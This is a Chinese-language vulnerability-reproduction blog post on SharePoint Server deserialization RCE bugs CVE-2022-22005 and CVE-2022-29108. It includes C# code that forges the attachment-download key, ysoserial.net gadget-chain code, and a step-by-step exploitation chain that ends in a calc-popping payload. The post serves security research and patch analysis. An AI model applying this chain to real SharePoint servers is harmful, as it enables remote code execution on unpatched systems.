CVE-2022-22005 CVE-2022-29108 漏洞复现
CVE-2022-22005 CVE-2022-29108 漏洞复现
简介
CVE-2022-22005和CVE-2022-29108都是BinaryFormatter.Deserialize()时候没对需要反序列化的内容类型进行设置,从而导致反序列化漏洞
环境配置
环境配置踩了很多坑
InfoPath
InfoPath与SharePoint Server相连时(使用InfoPath Designer,选择SharePoint List)
SharePoint Server需要是企业版,一开始并没找到在哪里升级企业版,就重装了一个(简直是折磨),后面发现在管理中心-升级和迁移地方可以直接升级- 输入
SharePoint site的地址时,不能用IP地址,必须要用域名(这里也卡了好久)(我这里是在http://sp2019/的/下创建了一个网站集,所以才是下图样子)
- 这里登录时,只需要用用户名即可,不用加林的名字(例如我的是
vangelis,不能用vangelis@sp.com.cn),也不用加域的名字(例如不用加SP\在前面) - 添加一个
SharePoint List之后,需要Publish,在左上角,这个只是上传一个模板,并不是在这里进行attach file
SharePoint Server
最开始直接打开SharePoint List的test,进行新建时,显示如下页面

就是这个服务没开启,我配置的时候,也没找到地方开,因此直接用管理中心的配置导向,启用服务器场配置导向,在默认配置的时候进行State Service的开启
注:我这里并未开启自助创建站点Self-Service Site Creation的特性,跟cve-2022-29108,不太一致
Debug
调试环境,我最开始用的Visual Studio 2022进行调试,但是这个调试,并不能跟到BinaryFormatter.Deserialize()的内部实现,最后发现还是2020年就不再更新的dnSpy还是最好用的
使用,attach的进程是w3wp.exe(选择其中端口开在80的),我调试时的w3wp.exe的Command Line如下
c:\windows\system32\inetsrv\w3wp.exe -ap "SharePoint - 80" -v "v4.0" -l "webengine4.dll" -a \\.\pipe\iisipm564fe27d-58a0-4dbf-ba0b-dfa28df62bb2 -h "C:\inetpub\temp\apppools\SharePoint - 80\SharePoint - 80.config" -w "" -m 0
在attach进程之后,要点全部中断之后对于加载的模块进行查看核心的dll,对其进行反编译,然后下断点
漏洞
2022年01月的Microsoft.Office.Server.Chart.dll中的loadChartImage()如下,其并未对于通过sessionKey获取的内存进行反序列化检测

而在2022年02月的Microsoft.Office.Server.Chart.dll中的loadChartImage(),进行了类型绑定

exp思路
sessionKey 来源
sessionKey是由sk这个参数输入而来

FetchBinaryDaTa主要是解析key,然后从数据库中获取statekey对应的内容
public static byte[] FetchBinaryData(string key)
{
StateKey key2 = StateKey.ParseKey(key);
return StateManager.Current.PeekState(key2);
}
其中g是数据库的id,而g2是数据库中需要取得内容的key

顺着这个思路很容易想到,应该想办法把一个可以导致反序列化攻击的内容存储到数据库中
根据 ZDI cve-2021-27076 的重播攻击,可以知道通过InfoPath附件上传的方式,可以使得附件的内容存储到数据库中,从而最后传播到反序列漏洞的位置
在此顺便记录一下cve-2022-29108的传参,其pk和ok会拼接达到之前的sessionKey的效果,ot需要设置为chart,csk跟sk一致

InfoPath 附件上传
总流程简介
其主要流程如下(借用了 cve-2022-29108 的图)

最终得到的attachment id才是我们需要的key
细节
newifs.aspx
首先在SharePoint Server通过InfoPath创建一个SharePoint List,然后在SharePoint List中新建,上传一个附件,并驻留在此处

在Burpsuite后台抓包时,可以看到一个对于newifs.apx的POST请求的包(当然,在这个POST请求之前也有个GET请求的包,在尝试写脚本的自动化利用时,发现POST请求的大部分的内容均来源自这个GET请求的RESPONSE),这个POST包中存在两个重要的值,一个是_InfoPath_CanaryValue(在POST包中),一个是DBguid1_guid2(称其为itemId)(在RESPONSE包中,通过上传的文件名可以搜到)

这个动作对应的是Microsoft.Office.InfoPath.Server.dll
namespace Microsoft.Office.InfoPath.Server.DocumentLifetime
class Document
internal static Document LoadFromSession(HttpContext context, SPSite contextSite, EventLogStart eventLogStart, Solution solution)
在调试LoadFromSession时,可以看到其document对象的EditingSessionId就是请求的返回中的itemId
注
这个时候,我产生了一个文件这个itemId不能直接用在key的那个反序列化漏洞上吗?我将这个传入sk,发现其取出来的内存如下,这个itemId只是那个上传文件对应动作的一些记录,并不是对应那个文件的内容,并且可以注意到这个itemId存储的东西里面最后0x20c7a602c3c的位置存在一个stateKey,这个就是上传文件的StateKey

同样也可以在Microsoft.Office.Server.dll中下断点
namespace Microsoft.Office.Server.Administration
internal sealed class StateKey
public static StateKey GenerateKey()
可以看到首先在SharePoint List生成的页面test中点新建时,会创建一个Document对象,并生成其对应的StateKey,这个StateKey其实就是itemId,其调用路径是从Microsoft.office.InfoPath.Server.DocumentLifetime.Document.GetNewEditingSessionId()而来

在attachFile之后,同样会断到GenerateKey(),其调用路径是从Microsoft.Office.InfoPath.Server.DocumentLifetime.EventShartePointFileAttachmentAdd()而来,最终会存到doc.ChildStateKeys中,我们后续也是为了把这个ChildStateKeys中的文件的StateKey给获取出来

formserverattachments.aspx
然后,他们找到了一个文件下载的接口,在这个接口中传入这个itemId的值,可以最终得到此Document里面所有内容,同样可以得到这个里面的ChildStateKeys里面的值,感觉按照正常功能而言,应该传入一个上传的文件的StateKey,得到这个文件的内容,这里用了重播的攻击方式a replay-style attack
这个对应的接口是FormServerAttachments.aspx,对应是Microsoft.Office.InfoPath.Server.dll
namespace Microsoft.Office.InfoPath.Server.Controls
class FormServerAttachments
protected internal override void ProcessRequestInternal(HttpContext context)
(P.S 这里的public class FormServerAttachments : ProcessRequestPageBase, IHttpHandler, IRequiresCultureInfo,子类继承IHttpHandler和ProcessRequestInternal方法的继承均是很标准的ASP.NET处理GET/POST请求的写法)
在FileDownload接口中,可以看到主要有以下几个关心的参数fid、sid、key、dl

对于
fid基本没要求,只要求非空,将其设置为1即可对于
sid,在VerifyCanaryFromCookie中可以看到是查询_InfoPath_CanaryValue是否正确,在对newifs.aspx进行POST的时候可以看到_InfoPath_CanaryValue后跟的值

- 对于
key要求比较多- 首先在32行,通过
DeserializeObjectsFromString进行base64解码 - 再在34行,通过
Base64DataItem进行,获取_state(类型为Base64ItemState)、_sessionDataType(类型为DataTypeInSessionState)、_itemId(类型为Base64SerializationId) - 然后在36行,通过
DocumentChildState.StateInfo.Deserialize获取_serializeKey(类型为String)、_size(类型为int)、_version(类型为int)- 在
EnsureData中,可知_state应为Base64ItemState.DelayLoad(枚举类型,值为4) - 在
SetSessionData中,可知_sessionDataType应为Base64DataStorage.Base64DataItem.DataTypeInSessionState.ByteArray(枚举类型,值为2) _serializeKey应该为Document的editingSessionId- 其余并无要求
- 在
- 首先在32行,通过



- 对于
dl,在第11行和第51行,要求其值应该为ip才能走到FileAttachment.ReadInfoFromStream,这样才能把取出来的dataAsBytes作为文件附件下载下来
using System.IO;
using System.Text;
using System.Runtime.Serialization.Formatters.Binary;
using ConsoleApp1;
internal enum Base64ItemState
{
NoChange,
Updated,
Removed,
New,
DelayLoad
}
internal enum DataTypeInSessionState
{
Unknown,
Utf8String,
ByteArray
}
class Program
{
public static string Base64Encode(string plainText)
{
var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText);
return System.Convert.ToBase64String(plainTextBytes);
}
static void Main()
{
// 4
Base64ItemState _state = Base64ItemState.DelayLoad;
// 2
DataTypeInSessionState _sessionDataType = DataTypeInSessionState.ByteArray;
// _itermId : writer.Write(this.+_id.ToString)
String _itemId = "ce21726d-43ff-41a3-9204-981a19e75827";
String _serializedKey = "47b652a1843a427d9528e8ebe3f858d3_129790e9056046b2b93cf003c1788d6a";
int _size = 1024;
int _version = 69;
MemoryStream memStream = new MemoryStream();
// using (BinaryWriter writer = new BinaryWriter(File.Open("createKey.txt", FileMode.Create)))
using (BinaryWriter writer = new BinaryWriter(memStream))
{
writer.Write7BitEncodedInt((byte)_state);
writer.Write7BitEncodedInt((byte)_sessionDataType);
writer.Write(_itemId);
writer.Write(_serializedKey);
writer.Write7BitEncodedInt(_size);
writer.Write7BitEncodedInt(_version);
}
Console.WriteLine(Convert.ToBase64String(memStream.ToArray()));
Console.WriteLine("Success");
}
}
BinaryFormatter 反序列化的利用
一开始用的ysoserial.net中BinaryFormatter的DataSetPOP链,但是一直不能弹计算器,不知道为什么,重搭了挺多次环境,以及尝试安装补丁的,最后还是深入了解了DataSetPOP链以及定位到出错原因,查询资料,最后才在mr_me 的 CVE-2020-1147找到了答案
在此同时记录一下DataSet的POP链的构造
DataSet 的POP链
[Serializable]
public class DataSetMarshal : ISerializable
{
byte[] _fakeTable;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
info.SetType(typeof(System.Data.DataSet));
info.AddValue("DataSet.RemotingFormat", System.Data.SerializationFormat.Binary);
info.AddValue("DataSet.DataSetName", "");
info.AddValue("DataSet.Namespace", "");
info.AddValue("DataSet.Prefix", "");
info.AddValue("DataSet.CaseSensitive", false);
info.AddValue("DataSet.LocaleLCID", 0x409);
info.AddValue("DataSet.EnforceConstraints", false);
info.AddValue("DataSet.ExtendedProperties", (System.Data.PropertyCollection)null);
info.AddValue("DataSet.Tables.Count", 1);
info.AddValue("DataSet.Tables_0", _fakeTable);
}
public void SetFakeTable(byte[] bfPayload)
{
_fakeTable = bfPayload;
}
public DataSetMarshal(byte[] bfPayload)
{
SetFakeTable(bfPayload);
}
public DataSetMarshal(object fakeTable):this(fakeTable, new InputArgs())
{
// This won't use anything we might have defined in ysoserial.net BinaryFormatter process (such as minification)
}
public DataSetMarshal(object fakeTable, InputArgs inputArgs)
{
MemoryStream stm = new MemoryStream();
if (inputArgs.Minify)
{
ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter();
fmtLocal.Serialize(stm, fakeTable);
}
else
{
BinaryFormatter fmt = new BinaryFormatter();
fmt.Serialize(stm, fakeTable);
}
SetFakeTable(stm.ToArray());
}
public DataSetMarshal(MemoryStream ms)
{
SetFakeTable(ms.ToArray());
}
}
public class DataSetGenerator:GenericGenerator
{
public override object Generate(string formatter, InputArgs inputArgs)
{
byte[] init_payload = (byte[]) new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
DataSetMarshal payloadDataSetMarshal = new DataSetMarshal(init_payload);
if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase)
|| formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase)
|| formatter.Equals("soapformatter", StringComparison.OrdinalIgnoreCase))
{
return Serialize(payloadDataSetMarshal, formatter, inputArgs);
}
else
{
throw new Exception("Formatter not supported");
}
}
}
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
我个人调试的时候的理解是,对于DataSet中一些属性进行设置了值,比如DataSet.RemotingFormat必须要设置为System.Data.SerializationFormat.Binary,DataSet.Tables.Count设置为1,DataSet.Tables_0设置为_fakeTable,其他值的设置是为了能顺利走到remotingFormat的Deserialize()位置

最后在反序列的时候,中间嵌套一个xml,然后在Parse和Load的过程中直接触发RCE


但是在调试的时候,会发现,怎么样都不能过去EventTrace.EasyTraceEvent这句

然后可以发现其异常的原因如下,其对应的英文为The type initializer for 'MS.Utility.EventTrace' threw an exception.

最后在犄角旮旯的上述列举的博客中找到,这个进程不能访问某注册表,因为这个IIS服务器是模拟着IUSR账户的权限的
You cannot use the XamlReader.Load static method because the IIS webserver is impersonating as the IUSR account and that account has limited access to the registry.
所以不能使用任何包含XamlReader.LoadPOP链的Gadget,因此我选择使用TypeConfuseDelegate最后可以成功弹出计算器
注:这里不确定会不会存在cmd生成和powershell生成不一致以及.NET Framework版本跟打的版本不一致的问题,我最后是用cmd生成的
综上
整体的漏洞利用流程
- 利用
InfoPath给SharePoint Server企业版创建一个SharePoint List - 在
SharePoint List中新建,并上传可以导致反序列利用的文件,并驻留在该页面,以会话的形式保存数据库中 - 利用
newifs.aspx请求得到的_InfoPath_CanaryValue和Document的editingSessionId给formserverattachments.aspx发送请求,假装下载文件,实则获取会话中的可以导致反序列利用的文件对应的StateKey - 将该
StateKey传入可以被攻击的aspx中,CVE-2022-22005是用的ChartPreviewImage.aspx,其参数为sk;CVE-2022-29108也用的是ChartPreviewImage.aspx,其参数为pk,ot,ok,csk(pk为其DBguid_,ot为chart,ok为Fileguid,csk与sk一致)
参考
https://www.zerodayinitiative.com/blog/2021/3/17/cve-2021-27076-a-replay-style-deserialization-attack-against-sharepoint
https://hnd3884.github.io/posts/cve-2022-22005-microsoft-sharepoint-RCE
https://www.starlabs.sg/blog/2022/05-new-wine-in-old-bottle-microsoft-sharepoint-post-auth-deserialization-rce-cve-2022-29108/
https://xz.aliyun.com/t/9593
https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html
https://mp.weixin.qq.com/s/2IbSrLcjiqo1a6RF9-v3Yg
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!